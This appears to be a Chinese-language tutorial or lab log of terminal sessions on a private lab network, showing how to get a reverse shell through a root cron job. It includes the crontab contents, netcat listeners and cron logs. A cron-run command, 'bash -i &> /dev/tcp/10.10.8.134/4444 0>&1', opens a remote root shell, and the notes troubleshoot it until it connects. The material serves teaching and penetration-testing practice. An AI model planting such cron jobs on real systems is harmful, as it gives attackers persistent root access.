┌──(root㉿kali)-[~] └─# cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # [root@localhost ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Unknown host connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53630 bash: no job control in this shell [demo@localhost ~]$ id id uid=1001(demo) gid=1001(demo) groups=1001(demo) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Unknown host connect to [10.10.8.134] from (UNKNOWN) [10.10.8.137] 53668 bash: no job control in this shell [root@localhost ~]# who who root pts/0 2023-10-17 00:48 (10.10.8.1) root pts/1 2023-10-17 01:26 (10.10.8.1)
┌──(root㉿kali)-[/var/log] └─# journalctl -u cron.service -f Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Oct 16 14:07:01 kali CRON[1590]: (root) CMD (bash -i &> /dev/tcp/10.10.8.134/4444 0>&1) Oct 16 14:07:01 kali CRON[1589]: (CRON) info (No MTA installed, discarding output) Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session closed for user root
cron 服务输出解释如下:
Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0):表示 cron 服务在 14:07:01 开始为 root 用户 (uid=0) 打开了一个会话。
Oct 16 14:07:01 kali CRON[1589]: (CRON) info (No MTA installed, discarding output):表示 cron 服务向日志中写入了一条信息,说明没有安装邮件传输代理(MTA),因此输出被丢弃。这是因为 cron 任务的输出通常会通过电子邮件发送给相关用户,但在这种情况下,由于缺少 MTA,输出被丢弃。
Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session closed for user root:表示 cron 服务在 14:07:01 结束了 root 用户 (uid=0) 的会话。
注:Cron 默认会将计划任务的错误信息以邮件的方式发送给用户,但是 Kali 系统默认没有安装邮件系统,安装也太麻烦了。
┌──(root㉿kali)-[/tmp] └─# tail -f error.txt bash: cannot set terminal process group (1821): Inappropriate ioctl for device bash: no job control in this shell bash: /dev/tcp/10.10.8.134/4444: No such file or directory
┌──(root㉿kali)-[~] └─# head -n 8 /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.134: inverse host lookup failed: Unknown host connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 46642 bash: cannot set terminal process group (1677): Inappropriate ioctl for device bash: no job control in this shell root@kali:~# id id uid=0(root) gid=0(root) groups=0(root)
┌──(root㉿kali)-[~] └─# ls -l /var/spool/cron/crontabs/ total 4 -rw------- 1 root root 52 Oct 17 02:42 root
这时已经不报错了,但是还是不反弹,贼坑,原因是要重启 cron 服务才行:
1 2
┌──(root㉿kali)-[~] └─# systemctl restart cron
反弹成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kali)-[~] └─# journalctl -u cron.service -f Oct 17 03:24:01 kali CRON[1491]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Oct 17 03:24:01 kali CRON[1492]: (root) CMD (bash -c 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1')
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.134: inverse host lookup failed: Unknown host connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 44482 bash: cannot set terminal process group (1492): Inappropriate ioctl for device bash: no job control in this shell root@kali:~# whoami whoami root
┌──(root㉿kali)-[~] └─# cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } #
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.134: inverse host lookup failed: Unknown host connect to [10.10.8.134] from (UNKNOWN) [10.10.8.134] 52962 bash: cannot set terminal process group (1670): Inappropriate ioctl for device bash: no job control in this shell root@kali:~# hostname hostname kali